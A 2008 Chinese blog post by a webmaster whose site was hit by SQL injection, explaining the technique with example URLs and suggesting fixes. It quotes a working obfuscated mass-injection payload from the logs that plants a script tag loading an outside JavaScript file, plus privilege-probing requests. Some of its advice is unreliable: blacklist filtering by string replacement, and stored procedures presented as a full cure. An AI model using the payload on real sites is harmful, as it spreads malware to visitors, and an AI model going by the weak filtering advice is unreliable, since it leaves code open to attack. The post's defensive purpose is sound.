最近好多网站都受到SQL注入与解决方案(攻击手法还未知)
最近好多网站都受到SQL注入与解决方案2008-05-10 23:021.现象
今天发现自己的网站被SQL注入了 :(
首先,看到 页面包含了
还有,页面有大量的类似如下的内容
通过代码可以看到,这里使用了这是一个RealPlayer(IERPCtl.IERPCtl.1)漏洞,属于蠕虫病毒变异种目前有Worm.Win32.Otwycal.a Worm.Win32.Otwycal.b Worm.Win32.Otwycal.c 3类变种
一但感染了这个病毒,电脑里面所有扩展名为*.EXE的所以程序都会被这个病毒破坏,中毒现象:运行程序提示程序错误
2.原因
上面说的是用户打开你的网站时,你的电脑可能中毒病毒,相信很多站长自己是不愿意放病毒代码的,出现这个原因是网站漏洞,具体的说是该病毒攻击者利用SQL技术,进行注入,下面是SQL注入的简单介绍
下面是一个典型的aspx页面显示的信息
http://www.19cn.com/showdetail.asp?id=49
但是攻击者可以进行注入,事实上上面代码很容易猜测出你的页面执行的SQL语句,例如可能为
string id=Request.QueryString["id"];
string sql="select * from table where id="+id;
但是上面的代码及其脆弱,例如访问者把你的地址改成
http://www.19cn.com/showdetail.asp?id=49 and 1=1
页面执行正常。
http://www.19cn.com/showdetail.asp?id=49 and 1=2
则页面执行错误,如果你的网站显示错误信息,攻击者很容易看到错误原因。
更为严重的是,攻击者可以编写更多了SQL语句,例如
http://www.19cn.com/showdetail.asp?id=49 ;delete from table
那么你代码里最终拼凑的SQL为
string sql="select * from table where id=49 ;delete from table
在SQL里分号是语句指向的结束,上面的SQL语句将直接删除table里的所有数据。
解决方法
我们建议你使用存储过程,因为存储过程会进行类别判断,例如上面代码写成存储过程是,类似如下
SqlParameter p=new SqlParameter("id",Int32);
在这里,当用户再次输入
http://www.19cn.com/showdetail.asp?id=49 ;delete from table
网址时,由于系统将对代码进行转换(即吧id为 49;delete from table)转化为int类型,此时转换失败,所以可以防止别人攻击,而且不影响访问。
对于整形,你也可以使用如下简单代码
try
{
int.Parse(Request.QueryString["id"]);
}
catch
{
Response.End();
}
在这里,当检查id值非法时,直接中止页面运行也是可以很好解决的。
上面介绍的是对int类型的解决,相对于int类型,字符串要复杂的很多,例如在搜索时,可能的URL为
http://www.19cn.com/search.aspx?key=asp.net
那么你的sql语句可能为
string key=Request.QueryString["key"];
string sql="select * from table where keyword like '"+key+"'";
在这里如果攻击你的URL为
http://www.19cn.com/search.aspx?key=asp.net' ; delete from table--
那么构造出来的SQL语句就为
select * from table where keywork like 'asp.net'; delete from table --'
请注意,--的作用,它会让最后的'字符失效,所有上面代码仍然会删除你的数据
这里常用的解决方法大字有如下几个:
1)过滤SQL常用的语句,例如
string key=Request.QueryString["key"];
key=key.Lower();
key=key.Replace("select","");
key=key.Replace("update","");
key=key.Replace("delete","");
这样把select/update/delete等命令过滤掉,另外需要注意这个代码
key=key.Lower();
也就是把请求的代码都转换为小写,因为攻击者可能故意把select 写成 SeleCT等,那样可能过滤不掉
2)过滤 “’, --”符号等
3)使用存储过程,这样即使SQL包含注入,到存储过程里也失效,这也是为什么建议大家使用存储过曾的原因
下面是你网站收到公交时,攻击者的访问代码
20@t%20vArChAr" title="http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr" target="_blank">http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--
http://www.19cn.com/showdetail.aspx?id=19 218.3.207.119 - 500 0 209 281
http://www.19cn.com/showdetail.aspx?id=19 218.3.207.119 - 500 0 216 281
%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1 你可以反编码就可以知道攻击者是如何攻击你的,例如 上面的 20%代表空格等
Acronis Cyber Protect/Backup Remote Code Execution
-
The Acronis Cyber Protect appliance, in its default configuration, allows
the anonymous registration of new protect/backup agents on new endpoints.
This AP...
1 年前
没有评论:
发表评论